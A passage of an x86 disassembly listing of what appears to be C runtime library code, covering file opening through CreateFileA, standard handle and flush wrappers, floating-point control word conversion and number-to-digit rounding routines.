CODE XREF: sub_41D44C+41j push eax push 0FFFFFFF5h jmp short loc_41D49F ; --------------------------------------------------------------------------- loc_41D49C: ; CODE XREF: sub_41D44C+3Ej push eax push 0FFFFFFF6h loc_41D49F: ; CODE XREF: sub_41D44C+49j ; sub_41D44C+4Ej call dword_421024 ; SetStdHandle loc_41D4A5: ; CODE XREF: sub_41D44C+38j ; sub_41D44C+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_41D4C3 ; --------------------------------------------------------------------------- loc_41D4AF: ; CODE XREF: sub_41D44C+Cj ; sub_41D44C+2Aj ... and dword_469498, 0 mov dword_469494, 9 or eax, 0FFFFFFFFh loc_41D4C3: ; CODE XREF: sub_41D44C+61j pop edi pop esi retn sub_41D44C endp ; =============== S U B R O U T I N E ======================================= sub_41D4C6 proc near ; CODE XREF: sub_4185CB+32p ; sub_4185CB+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8C0 jnb short loc_41D4EE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41D4EE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41D4EE: ; CODE XREF: sub_41D4C6+Aj ; sub_41D4C6+23j and dword_469498, 0 mov dword_469494, 9 or eax, 0FFFFFFFFh retn sub_41D4C6 endp ; =============== S U B R O U T I N E ======================================= sub_41D503 proc near ; CODE XREF: sub_4186A9+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_46A8C0 jnb short loc_41D54C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_46A7C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41D54C push eax call sub_41D4C6 pop ecx push eax call dword_421020 ; FlushFileBuffers test eax, eax jnz short loc_41D541 call dword_421088 ; RtlGetLastWin32Error jmp short loc_41D543 ; --------------------------------------------------------------------------- loc_41D541: ; CODE XREF: sub_41D503+34j xor eax, eax loc_41D543: ; CODE XREF: sub_41D503+3Cj test eax, eax jz short locret_41D559 mov dword_469498, eax loc_41D54C: ; CODE XREF: sub_41D503+Aj ; sub_41D503+22j mov dword_469494, 9 or eax, 0FFFFFFFFh locret_41D559: ; CODE XREF: sub_41D503+42j retn sub_41D503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D55A proc near ; CODE XREF: sub_418880+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41D580 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41D58B ; --------------------------------------------------------------------------- loc_41D580: ; CODE XREF: sub_41D55A+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41D58B: ; CODE XREF: sub_41D55A+24j mov eax, 8000h test ecx, eax jnz short loc_41D5A5 test ch, 40h jnz short loc_41D5A1 cmp dword_469760, eax jz short loc_41D5A5 loc_41D5A1: ; CODE XREF: sub_41D55A+3Dj or [ebp+var_1], 80h loc_41D5A5: ; CODE XREF: sub_41D55A+38j ; sub_41D55A+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41D5DD dec eax jz short loc_41D5D4 dec eax jz short loc_41D5CB loc_41D5B6: ; CODE XREF: sub_41D55A+9Fj ; sub_41D55A+E8j ... mov dword_469494, 16h mov dword_469498, ebx jmp loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D5CB: ; CODE XREF: sub_41D55A+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41D5E4 ; --------------------------------------------------------------------------- loc_41D5D4: ; CODE XREF: sub_41D55A+57j mov [ebp+var_C], 40000000h jmp short loc_41D5E4 ; --------------------------------------------------------------------------- loc_41D5DD: ; CODE XREF: sub_41D55A+54j mov [ebp+var_C], 80000000h loc_41D5E4: ; CODE XREF: sub_41D55A+78j ; sub_41D55A+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41D612 cmp eax, 20h jz short loc_41D609 cmp eax, 30h jz short loc_41D600 cmp eax, 40h jnz short loc_41D5B6 mov [ebp+var_10], esi jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D600: ; CODE XREF: sub_41D55A+9Aj mov [ebp+var_10], 2 jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D609: ; CODE XREF: sub_41D55A+95j mov [ebp+var_10], 1 jmp short loc_41D615 ; --------------------------------------------------------------------------- loc_41D612: ; CODE XREF: sub_41D55A+90j mov [ebp+var_10], ebx loc_41D615: ; CODE XREF: sub_41D55A+A4j ; sub_41D55A+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41D65F jz short loc_41D65A cmp ecx, ebx jz short loc_41D65A cmp ecx, edi jz short loc_41D651 cmp ecx, 200h jz short loc_41D678 cmp ecx, 300h jnz loc_41D5B6 mov [ebp+var_8], 2 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D651: ; CODE XREF: sub_41D55A+D8j mov [ebp+var_8], 4 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D65A: ; CODE XREF: sub_41D55A+D0j ; sub_41D55A+D4j mov [ebp+var_8], esi jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D65F: ; CODE XREF: sub_41D55A+CEj cmp ecx, 500h jz short loc_41D681 cmp ecx, 600h jz short loc_41D678 cmp ecx, edx jz short loc_41D681 jmp loc_41D5B6 ; --------------------------------------------------------------------------- loc_41D678: ; CODE XREF: sub_41D55A+E0j ; sub_41D55A+113j mov [ebp+var_8], 5 jmp short loc_41D688 ; --------------------------------------------------------------------------- loc_41D681: ; CODE XREF: sub_41D55A+10Bj ; sub_41D55A+117j mov [ebp+var_8], 1 loc_41D688: ; CODE XREF: sub_41D55A+F5j ; sub_41D55A+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41D6A7 mov ecx, dword_46949C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41D6A7 push 1 pop esi loc_41D6A7: ; CODE XREF: sub_41D55A+138j ; sub_41D55A+148j test al, 40h jz short loc_41D6B5 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41D6B5: ; CODE XREF: sub_41D55A+14Fj test ah, 10h jz short loc_41D6BC or esi, edi loc_41D6BC: ; CODE XREF: sub_41D55A+15Ej test al, 20h jz short loc_41D6C8 or esi, 8000000h jmp short loc_41D6D2 ; --------------------------------------------------------------------------- loc_41D6C8: ; CODE XREF: sub_41D55A+164j test al, 10h jz short loc_41D6D2 or esi, 10000000h loc_41D6D2: ; CODE XREF: sub_41D55A+16Cj ; sub_41D55A+170j call sub_41D340 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41D6F3 and dword_469498, 0 mov dword_469494, 18h jmp short loc_41D731 ; --------------------------------------------------------------------------- loc_41D6F3: ; CODE XREF: sub_41D55A+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_421078 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41D724 push esi call dword_421030 ; GetFileType test eax, eax jnz short loc_41D738 push esi call dword_42106C ; CloseHandle loc_41D724: ; CODE XREF: sub_41D55A+1B6j call dword_421088 ; RtlGetLastWin32Error push eax call sub_41C5D7 pop ecx loc_41D731: ; CODE XREF: sub_41D55A+197j mov eax, edi jmp loc_41D80E ; --------------------------------------------------------------------------- loc_41D738: ; CODE XREF: sub_41D55A+1C1j cmp eax, 2 jnz short loc_41D743 or [ebp+var_1], 40h jmp short loc_41D74C ; --------------------------------------------------------------------------- loc_41D743: ; CODE XREF: sub_41D55A+1E1j cmp eax, 3 jnz short loc_41D74C or [ebp+var_1], 8 loc_41D74C: ; CODE XREF: sub_41D55A+1E7j ; sub_41D55A+1ECj push esi push ebx call sub_41D3D5 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:46A7C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41D7F5 test al, 80h jz short loc_41D7F5 test byte ptr [ebp+arg_4], 2 jz short loc_41D7F5 push 2 push 0FFFFFFFFh push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41D7AA cmp dword_469498, 83h jz short loc_41D7F5 jmp short loc_41D7E9 ; --------------------------------------------------------------------------- loc_41D7AA: ; CODE XREF: sub_41D55A+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41B989 add esp, 0Ch test eax, eax jnz short loc_41D7D7 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41D7D7 push [ebp+var_10] push ebx call sub_41E84C pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D7E9 loc_41D7D7: ; CODE XREF: sub_41D55A+265j ; sub_41D55A+26Bj push 0 push 0 push ebx call sub_41BB7F add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41D7F5 loc_41D7E9: ; CODE XREF: sub_41D55A+24Ej ; sub_41D55A+27Bj push ebx call sub_4185CB pop ecx loc_41D7F0: ; CODE XREF: sub_41D55A+6Cj or eax, 0FFFFFFFFh jmp short loc_41D80E ; --------------------------------------------------------------------------- loc_41D7F5: ; CODE XREF: sub_41D55A+221j ; sub_41D55A+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41D80C test byte ptr [ebp+arg_4], 8 jz short loc_41D80C mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41D80C: ; CODE XREF: sub_41D55A+29Fj ; sub_41D55A+2A5j mov eax, ebx loc_41D80E: ; CODE XREF: sub_41D55A+1D9j ; sub_41D55A+299j pop edi pop esi pop ebx leave retn sub_41D55A endp ; =============== S U B R O U T I N E ======================================= sub_41D813 proc near ; CODE XREF: sub_419BB3+52p xor eax, eax retn sub_41D813 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D816 proc near ; CODE XREF: sub_41D84B+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41D861 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41D8F3 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41D816 endp ; =============== S U B R O U T I N E ======================================= sub_41D84B proc near ; CODE XREF: sub_419E9F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41D816 pop ecx pop ecx retn sub_41D84B endp ; =============== S U B R O U T I N E ======================================= sub_41D861 proc near ; CODE XREF: sub_41D816+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41D872 push 10h pop eax loc_41D872: ; CODE XREF: sub_41D861+Cj test bl, 4 jz short loc_41D879 or al, 8 loc_41D879: ; CODE XREF: sub_41D861+14j test bl, 8 jz short loc_41D880 or al, 4 loc_41D880: ; CODE XREF: sub_41D861+1Bj test bl, 10h jz short loc_41D887 or al, 2 loc_41D887: ; CODE XREF: sub_41D861+22j test bl, 20h jz short loc_41D88E or al, 1 loc_41D88E: ; CODE XREF: sub_41D861+29j test bl, 2 jz short loc_41D898 or eax, 80000h loc_41D898: ; CODE XREF: sub_41D861+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41D8D0 cmp edx, 400h jz short loc_41D8CD cmp edx, 800h jz short loc_41D8C9 cmp edx, esi jnz short loc_41D8D0 or eax, edi jmp short loc_41D8D0 ; --------------------------------------------------------------------------- loc_41D8C9: ; CODE XREF: sub_41D861+5Ej or eax, ebp jmp short loc_41D8D0 ; --------------------------------------------------------------------------- loc_41D8CD: ; CODE XREF: sub_41D861+56j or ah, 1 loc_41D8D0: ; CODE XREF: sub_41D861+4Ej ; sub_41D861+62j ... and ecx, edi pop esi jz short loc_41D8E0 cmp ecx, ebp jnz short loc_41D8E5 or eax, 10000h jmp short loc_41D8E5 ; --------------------------------------------------------------------------- loc_41D8E0: ; CODE XREF: sub_41D861+72j or eax, 20000h loc_41D8E5: ; CODE XREF: sub_41D861+76j ; sub_41D861+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41D8F2 or eax, 40000h locret_41D8F2: ; CODE XREF: sub_41D861+8Aj retn sub_41D861 endp ; =============== S U B R O U T I N E ======================================= sub_41D8F3 proc near ; CODE XREF: sub_41D816+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41D903 push 1 pop eax loc_41D903: ; CODE XREF: sub_41D8F3+Bj test bl, 8 jz short loc_41D90A or al, 4 loc_41D90A: ; CODE XREF: sub_41D8F3+13j test bl, 4 jz short loc_41D911 or al, 8 loc_41D911: ; CODE XREF: sub_41D8F3+1Aj test bl, 2 jz short loc_41D918 or al, 10h loc_41D918: ; CODE XREF: sub_41D8F3+21j test bl, 1 jz short loc_41D91F or al, 20h loc_41D91F: ; CODE XREF: sub_41D8F3+28j test ebx, 80000h jz short loc_41D929 or al, 2 loc_41D929: ; CODE XREF: sub_41D8F3+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41D956 cmp ecx, 100h jz short loc_41D953 cmp ecx, esi jz short loc_41D94E cmp ecx, edx jnz short loc_41D956 or ah, 0Ch jmp short loc_41D956 ; --------------------------------------------------------------------------- loc_41D94E: ; CODE XREF: sub_41D8F3+50j or ah, 8 jmp short loc_41D956 ; --------------------------------------------------------------------------- loc_41D953: ; CODE XREF: sub_41D8F3+4Cj or ah, 4 loc_41D956: ; CODE XREF: sub_41D8F3+44j ; sub_41D8F3+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41D96C cmp ecx, 10000h jnz short loc_41D96E or eax, esi jmp short loc_41D96E ; --------------------------------------------------------------------------- loc_41D96C: ; CODE XREF: sub_41D8F3+6Bj or eax, edx loc_41D96E: ; CODE XREF: sub_41D8F3+73j ; sub_41D8F3+77j pop esi test ebx, 40000h pop ebx jz short locret_41D97B or ah, 10h locret_41D97B: ; CODE XREF: sub_41D8F3+83j retn sub_41D8F3 endp ; =============== S U B R O U T I N E ======================================= sub_41D97C proc near ; CODE XREF: sub_41DA1B+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41D9C1 inc esi cmp esi, 3 jge short loc_41D9BC lea eax, [eax+esi*4] loc_41D9AE: ; CODE XREF: sub_41D97C+3Ej cmp dword ptr [eax], 0 jnz short loc_41D9C1 inc esi add eax, 4 cmp esi, 3 jl short loc_41D9AE loc_41D9BC: ; CODE XREF: sub_41D97C+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41D9C1: ; CODE XREF: sub_41D97C+27j ; sub_41D97C+35j xor eax, eax pop esi retn sub_41D97C endp ; =============== S U B R O U T I N E ======================================= sub_41D9C5 proc near ; CODE XREF: sub_41DA1B+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41E992 add esp, 0Ch dec esi js short loc_41DA17 lea edi, [ebx+esi*4] loc_41D9FE: ; CODE XREF: sub_41D9C5+50j test eax, eax jz short loc_41DA17 push edi push 1 push dword ptr [edi] call sub_41E992 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41D9FE loc_41DA17: ; CODE XREF: sub_41D9C5+34j ; sub_41D9C5+3Bj pop edi pop esi pop ebx retn sub_41D9C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DA1B proc near ; CODE XREF: sub_41DB76+81p ; sub_41DB76+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41DA7F inc ebx push ebx push [ebp+arg_0] call sub_41D97C pop ecx test eax, eax pop ecx jnz short loc_41DA7C push edi push [ebp+arg_0] call sub_41D9C5 pop ecx mov [ebp+var_4], eax pop ecx loc_41DA7C: ; CODE XREF: sub_41DA1B+51j mov eax, [ebp+arg_4] loc_41DA7F: ; CODE XREF: sub_41DA1B+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41DA9F mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41DA9F: ; CODE XREF: sub_41DA1B+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41DA1B endp ; =============== S U B R O U T I N E ======================================= sub_41DAA7 proc near ; CODE XREF: sub_41DB76+75p ; sub_41DB76+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41DAB5: ; CODE XREF: sub_41DAA7+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41DAB5 pop esi retn sub_41DAA7 endp ; =============== S U B R O U T I N E ======================================= sub_41DAC2 proc near ; CODE XREF: sub_41DB76+5Fp ; sub_41DB76+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41DAC2 endp ; =============== S U B R O U T I N E ======================================= sub_41DACE proc near ; CODE XREF: sub_41DB76+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41DAD4: ; CODE XREF: sub_41DACE+12j cmp dword ptr [eax], 0 jnz short loc_41DAE6 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41DAD4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41DAE6: ; CODE XREF: sub_41DACE+9j xor eax, eax retn sub_41DACE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAE9 proc near ; CODE XREF: sub_41DB76+C0p ; sub_41DB76+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41DB1F: ; CODE XREF: sub_41DAE9+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41DB1F mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41DB51: ; CODE XREF: sub_41DAE9+86j cmp ebx, edi jl short loc_41DB64 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41DB6B ; --------------------------------------------------------------------------- loc_41DB64: ; CODE XREF: sub_41DAE9+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41DB6B: ; CODE XREF: sub_41DAE9+79j dec ebx sub ecx, 4 jns short loc_41DB51 pop edi pop esi pop ebx leave retn sub_41DAE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB76 proc near ; CODE XREF: sub_41DCE2+Dp ; sub_41DCF8+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41DBE3 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41DACE test eax, eax pop ecx jnz loc_41DCA2 lea eax, [ebp+var_C] push eax call sub_41DAC2 pop ecx loc_41DBDB: ; CODE XREF: sub_41DB76+E4j push 2 loc_41DBDD: ; CODE XREF: sub_41DB76+110j pop eax jmp loc_41DCA4 ; --------------------------------------------------------------------------- loc_41DBE3: ; CODE XREF: sub_41DB76+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41DAA7 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DA1B add esp, 10h test eax, eax jz short loc_41DC04 inc ebx loc_41DC04: ; CODE XREF: sub_41DB76+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41DC1C lea eax, [ebp+var_C] push eax call sub_41DAC2 pop ecx jmp short loc_41DC58 ; --------------------------------------------------------------------------- loc_41DC1C: ; CODE XREF: sub_41DB76+98j cmp ebx, eax jg short loc_41DC5F sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_41DAA7 lea eax, [ebp+var_C] push esi push eax call sub_41DAE9 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41DA1B mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_41DAE9 add esp, 20h loc_41DC58: ; CODE XREF: sub_41DB76+A4j xor esi, esi jmp loc_41DBDB ; --------------------------------------------------------------------------- loc_41DC5F: ; CODE XREF: sub_41DB76+A8j cmp ebx, [edi] jl short loc_41DC8B lea eax, [ebp+var_C] push eax call sub_41DAC2 push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_41DAE9 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_41DBDD ; --------------------------------------------------------------------------- loc_41DC8B: ; CODE XREF: sub_41DB76+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_41DAE9 pop ecx pop ecx loc_41DCA2: ; CODE XREF: sub_41DB76+55j xor eax, eax loc_41DCA4: ; CODE XREF: sub_41DB76+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_41DCD3 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_41DCDD ; --------------------------------------------------------------------------- loc_41DCD3: ; CODE XREF: sub_41DB76+14Ej cmp edi, 20h jnz short loc_41DCDD mov ecx, [ebp+arg_4] mov [ecx], esi loc_41DCDD: ; CODE XREF: sub_41DB76+15Bj ; sub_41DB76+160j pop edi pop esi pop ebx leave retn sub_41DB76 endp ; =============== S U B R O U T I N E ======================================= sub_41DCE2 proc near ; CODE XREF: sub_41DD0E+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_4386F0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB76 add esp, 0Ch retn sub_41DCE2 endp ; =============== S U B R O U T I N E ======================================= sub_41DCF8 proc near ; CODE XREF: sub_41DD3B+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_438708 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41DB76 add esp, 0Ch retn sub_41DCF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD0E proc near ; CODE XREF: sub_419FD8+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB33 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCE2 add esp, 24h leave retn sub_41DD0E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD3B proc near ; CODE XREF: sub_419FD8+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_41EB33 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_41DCF8 add esp, 24h leave retn sub_41DD3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DD68 proc near ; CODE XREF: sub_41A016+65p ; sub_41A11A+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_41DDA5 mov [ebp+arg_0], ebx xor ebx, ebx loc_41DD8B: ; CODE XREF: sub_41DD68+38j mov dl, [ecx] test dl, dl jz short loc_41DD97 movsx edx, dl inc ecx jmp short loc_41DD9A ; --------------------------------------------------------------------------- loc_41DD97: ; CODE XREF: sub_41DD68+27j push 30h pop edx loc_41DD9A: ; CODE XREF: sub_41DD68+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_41DD8B mov edx, [ebp+arg_8] loc_41DDA5: ; CODE XREF: sub_41DD68+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_41DDBE cmp byte ptr [ecx], 35h jl short loc_41DDBE loc_41DDB1: ; CODE XREF: sub_41DD68+52j dec eax cmp byte ptr [eax], 39h jnz short loc_41DDBC mov byte ptr [eax], 30h jmp short loc_41DDB1 ; --------------------------------------------------------------------------- loc_41DDBC: ; CODE XREF: sub_41DD68+4Dj inc byte ptr [eax] loc_41DDBE: ; CODE XREF: sub_41DD68+42j ; sub_41DD68+47j cmp byte ptr [esi], 31h jnz short loc_41DDC8 inc dword ptr [edx+4] jmp short loc_41DDDA ; --------------------------------------------------------------------------- loc_41DDC8: ; CODE XREF: sub_41DD68+59j push edi call sub_415CF0 inc eax push eax push edi push esi call sub_416490 add esp, 10h loc_41DDDA: ; CODE XREF: sub_41DD68+5Ej pop edi pop esi pop ebx pop ebp retn sub_41DD68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DDDF proc near ; CODE XREF: sub_41A016+3Fp ; sub_41A11A+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_41DE43 pop ecx lea esi, [ebp+var_C] pop ecx push offset word_469660 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_41F004 mov dword_469688, eax add esp, 18h movsx eax, byte_469662 mov dword_469680, eax pop edi movsx eax, word_469660 mov dword_469684, eax mov dword_46968C, offset dword_469664 mov eax, offset dword_469680 pop esi leave retn sub_41DDDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE43 proc near ; CODE XREF: sub_41DDDF+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 